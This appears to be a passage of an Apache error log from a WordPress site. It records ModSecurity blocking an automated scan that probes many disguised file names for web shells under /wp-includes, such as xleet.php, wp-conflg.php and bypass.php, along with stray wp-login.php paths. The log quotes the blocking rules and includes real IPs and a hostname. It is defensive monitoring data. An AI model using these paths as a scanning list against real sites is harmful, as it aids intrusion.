[Mon Mar 02 22:09:57.340212 2026] [:error] [pid 28847:tid 28855] [client 216.73.160.102:33231] [client 216.73.160.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aaWaNZ9xbBq8VfeqVDZ5bgAAAMY"]
[Mon Mar 02 22:09:59.502277 2026] [proxy_fcgi:error] [pid 28847:tid 28857] [client 216.73.160.95:50021] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 22:10:00.639665 2026] [:error] [pid 28847:tid 28860] [client 216.73.160.95:50021] [client 216.73.160.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aaWaOJ9xbBq8VfeqVDZ5fgAAAMs"]
[Mon Mar 02 22:10:08.059625 2026] [proxy_fcgi:error] [pid 59600:tid 59613] [client 216.73.160.229:41875] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 22:10:10.299261 2026] [:error] [pid 59600:tid 59621] [client 216.73.160.229:41875] [client 216.73.160.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.160.229, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aaWaQoQ5lE4yocV9IBeAUwAAAAw"]
[Mon Mar 02 22:10:17.920028 2026] [:error] [pid 59600:tid 59623] [client 216.73.160.229:41875] [client 216.73.160.229] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aaWaSYQ5lE4yocV9IBeAaAAAAA4"]
[Mon Mar 02 22:10:20.431440 2026] [:error] [pid 59600:tid 59619] [client 216.73.160.99:33261] [client 216.73.160.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aaWaTIQ5lE4yocV9IBeAawAAAAo"]
[Mon Mar 02 22:10:26.162511 2026] [:error] [pid 59602:tid 59685] [client 216.73.160.89:34861] [client 216.73.160.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aaWaUjMtSo_Fr0lHnSaDVwAAAJQ"]
[Mon Mar 02 22:10:35.084839 2026] [:error] [pid 59734:tid 59741] [client 216.73.160.228:41083] [client 216.73.160.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aaWaW5eWQx7ZQG9NybE6HgAAAUU"]
[Mon Mar 02 22:10:37.516654 2026] [:error] [pid 59701:tid 59707] [client 216.73.160.222:65151] [client 216.73.160.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aaWaXeUmTDVso96U9_LlTQAAAQM"]
[Mon Mar 02 22:10:44.057625 2026] [:error] [pid 59600:tid 59619] [client 216.73.160.235:64437] [client 216.73.160.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aaWaZIQ5lE4yocV9IBeAgAAAAAo"]
[Mon Mar 02 22:10:48.414236 2026] [proxy_fcgi:error] [pid 59734:tid 59751] [client 216.73.160.97:62819] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 22:10:48.704488 2026] [:error] [pid 59734:tid 59747] [client 216.73.160.97:62819] [client 216.73.160.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aaWaaJeWQx7ZQG9NybE6NwAAAUs"]
[Mon Mar 02 22:10:49.820268 2026] [:error] [pid 59734:tid 59745] [client 216.73.160.83:33745] [client 216.73.160.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/db.php"] [unique_id "aaWaaZeWQx7ZQG9NybE6PgAAAUk"]
[Mon Mar 02 22:10:50.534309 2026] [:error] [pid 59602:tid 59673] [client 216.73.160.83:23781] [client 216.73.160.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aaWaajMtSo_Fr0lHnSaDegAAAIg"]
[Mon Mar 02 22:10:51.299084 2026] [:error] [pid 59600:tid 59623] [client 216.73.160.77:26445] [client 216.73.160.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aaWaa4Q5lE4yocV9IBeAhgAAAA4"]
[Mon Mar 02 22:10:51.976801 2026] [:error] [pid 59600:tid 59618] [client 216.73.160.82:54349] [client 216.73.160.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aaWaa4Q5lE4yocV9IBeAhwAAAAk"]
[Mon Mar 02 22:10:52.762125 2026] [:error] [pid 59600:tid 59627] [client 216.73.160.81:32117] [client 216.73.160.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aaWabIQ5lE4yocV9IBeAigAAABI"]
[Mon Mar 02 22:10:54.468552 2026] [:error] [pid 59701:tid 59724] [client 216.73.160.91:46843] [client 216.73.160.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aaWabuUmTDVso96U9_LlcgAAARQ"]
[Mon Mar 02 22:10:59.527962 2026] [:error] [pid 59600:tid 59624] [client 216.73.160.224:59247] [client 216.73.160.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aaWac4Q5lE4yocV9IBeAqAAAAA8"]
[Mon Mar 02 22:11:00.309834 2026] [:error] [pid 28847:tid 28853] [client 216.73.160.232:20211] [client 216.73.160.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aaWadJ9xbBq8VfeqVDZ6CAAAAMQ"]
[Mon Mar 02 22:11:01.075114 2026] [:error] [pid 28847:tid 28864] [client 216.73.160.221:23041] [client 216.73.160.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aaWadZ9xbBq8VfeqVDZ6DQAAAM8"]
[Mon Mar 02 22:11:03.764471 2026] [:error] [pid 28847:tid 28854] [client 216.73.160.231:23137] [client 216.73.160.231] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aaWad59xbBq8VfeqVDZ6HQAAAMU"]
[Mon Mar 02 22:11:08.250375 2026] [:error] [pid 28847:tid 28860] [client 216.73.160.84:39375] [client 216.73.160.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "aaWafJ9xbBq8VfeqVDZ6NAAAAMs"]
[Mon Mar 02 22:11:08.851011 2026] [proxy_fcgi:error] [pid 59734:tid 59736] [client 216.73.160.90:50791] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 22:11:13.823739 2026] [:error] [pid 59734:tid 59744] [client 216.73.160.90:50791] [client 216.73.160.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.160.90, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aaWagZeWQx7ZQG9NybE6WQAAAUg"]
[Mon Mar 02 22:11:20.416638 2026] [:error] [pid 59734:tid 59744] [client 216.73.160.90:50791] [client 216.73.160.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/feed-rsss.php"] [unique_id "aaWaiJeWQx7ZQG9NybE6ZQAAAUg"]
[Mon Mar 02 22:11:21.656695 2026] [:error] [pid 59600:tid 59609] [client 216.73.160.77:30943] [client 216.73.160.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aaWaiYQ5lE4yocV9IBeAwwAAAAA"]
[Mon Mar 02 22:11:50.244152 2026] [:error] [pid 59600:tid 59629] [client 216.73.160.101:50579] [client 216.73.160.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aaWapoQ5lE4yocV9IBeBEQAAABQ"]
[Mon Mar 02 22:11:50.932401 2026] [:error] [pid 59601:tid 59643] [client 216.73.160.85:53251] [client 216.73.160.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aaWapsQ1lXfvWN0-ZQmdowAAAEU"]
[Mon Mar 02 22:11:51.587966 2026] [:error] [pid 59602:tid 59680] [client 216.73.160.83:40303] [client 216.73.160.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aaWapzMtSo_Fr0lHnSaDnwAAAI8"]
[Mon Mar 02 22:12:02.217763 2026] [:error] [pid 59701:tid 59722] [client 216.73.160.226:50757] [client 216.73.160.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aaWasuUmTDVso96U9_LlrwAAARI"]
[Mon Mar 02 22:12:03.054372 2026] [:error] [pid 28847:tid 28857] [client 216.73.160.92:38761] [client 216.73.160.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aaWas59xbBq8VfeqVDZ62gAAAMg"]
[Mon Mar 02 22:12:03.652698 2026] [:error] [pid 28847:tid 28866] [client 216.73.160.103:48533] [client 216.73.160.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aaWas59xbBq8VfeqVDZ63wAAANE"]
[Mon Mar 02 22:12:10.587023 2026] [:error] [pid 59600:tid 59609] [client 216.73.160.77:28307] [client 216.73.160.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aaWauoQ5lE4yocV9IBeBPQAAAAA"]
[Mon Mar 02 22:12:13.504431 2026] [:error] [pid 59602:tid 59673] [client 216.73.160.96:57703] [client 216.73.160.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aaWavTMtSo_Fr0lHnSaD-QAAAIg"]
[Mon Mar 02 22:12:18.344776 2026] [:error] [pid 59734:tid 59746] [client 216.73.160.234:30875] [client 216.73.160.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aaWawpeWQx7ZQG9NybE6lQAAAUo"]
[Mon Mar 02 22:12:35.256437 2026] [:error] [pid 28847:tid 28871] [client 216.73.160.228:44975] [client 216.73.160.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aaWa059xbBq8VfeqVDZ8HgAAANY"]
[Mon Mar 02 22:12:40.569690 2026] [:error] [pid 28847:tid 28867] [client 216.73.160.78:40637] [client 216.73.160.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/about.php"] [unique_id "aaWa2J9xbBq8VfeqVDZ8XQAAANI"]
[Mon Mar 02 22:12:52.243578 2026] [:error] [pid 28847:tid 28856] [client 216.73.160.89:53693] [client 216.73.160.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "aaWa5J9xbBq8VfeqVDZ8tQAAAMc"]
[Mon Mar 02 22:12:56.680149 2026] [:error] [pid 59734:tid 59756] [client 216.73.160.228:31183] [client 216.73.160.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aaWa6JeWQx7ZQG9NybE66AAAAVQ"]
[Mon Mar 02 22:13:05.216904 2026] [:error] [pid 28847:tid 28854] [client 216.73.160.96:64239] [client 216.73.160.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aaWa8Z9xbBq8VfeqVDZ85wAAAMU"]
[Mon Mar 02 22:13:15.544726 2026] [:error] [pid 59601:tid 59653] [client 216.73.160.83:28963] [client 216.73.160.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aaWa-8Q1lXfvWN0-ZQmd3wAAAE8"]
[Mon Mar 02 22:13:20.989246 2026] [:error] [pid 28847:tid 28851] [client 216.73.160.236:39343] [client 216.73.160.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "aaWbAJ9xbBq8VfeqVDZ9IQAAAMI"]
[Mon Mar 02 22:13:21.768338 2026] [:error] [pid 28847:tid 28865] [client 216.73.160.235:24249] [client 216.73.160.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "aaWbAZ9xbBq8VfeqVDZ9KAAAANA"]
[Mon Mar 02 22:13:32.138178 2026] [:error] [pid 28847:tid 28852] [client 216.73.160.97:50515] [client 216.73.160.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "aaWbDJ9xbBq8VfeqVDZ9UAAAAMM"]
[Mon Mar 02 22:13:42.379132 2026] [:error] [pid 28847:tid 28857] [client 216.73.160.235:63159] [client 216.73.160.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "aaWbFp9xbBq8VfeqVDZ9ZAAAAMg"]
[Mon Mar 02 22:13:50.313740 2026] [:error] [pid 28847:tid 28864] [client 216.73.160.80:30715] [client 216.73.160.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aaWbHp9xbBq8VfeqVDZ9fgAAAM8"]
[Mon Mar 02 22:13:51.073953 2026] [:error] [pid 28847:tid 28863] [client 216.73.160.84:40489] [client 216.73.160.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "aaWbH59xbBq8VfeqVDZ9gAAAAM4"]
[Mon Mar 02 22:13:56.582574 2026] [:error] [pid 59734:tid 59750] [client 216.73.160.232:37905] [client 216.73.160.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "aaWbJJeWQx7ZQG9NybE7VAAAAU4"]
[Mon Mar 02 22:14:02.822813 2026] [:error] [pid 59602:tid 59685] [client 216.73.160.227:26495] [client 216.73.160.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "aaWbKjMtSo_Fr0lHnSaEtgAAAJQ"]
[Mon Mar 02 22:14:03.565252 2026] [:error] [pid 28847:tid 28859] [client 216.73.160.216:42937] [client 216.73.160.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "aaWbK59xbBq8VfeqVDZ9pwAAAMo"]
[Mon Mar 02 22:14:16.054820 2026] [:error] [pid 59701:tid 59705] [client 216.73.160.233:39525] [client 216.73.160.233] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "aaWbOOUmTDVso96U9_LmDQAAAQE"]
[Mon Mar 02 22:14:20.743597 2026] [:error] [pid 59600:tid 59618] [client 216.73.160.225:41189] [client 216.73.160.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "aaWbPIQ5lE4yocV9IBeCewAAAAk"]
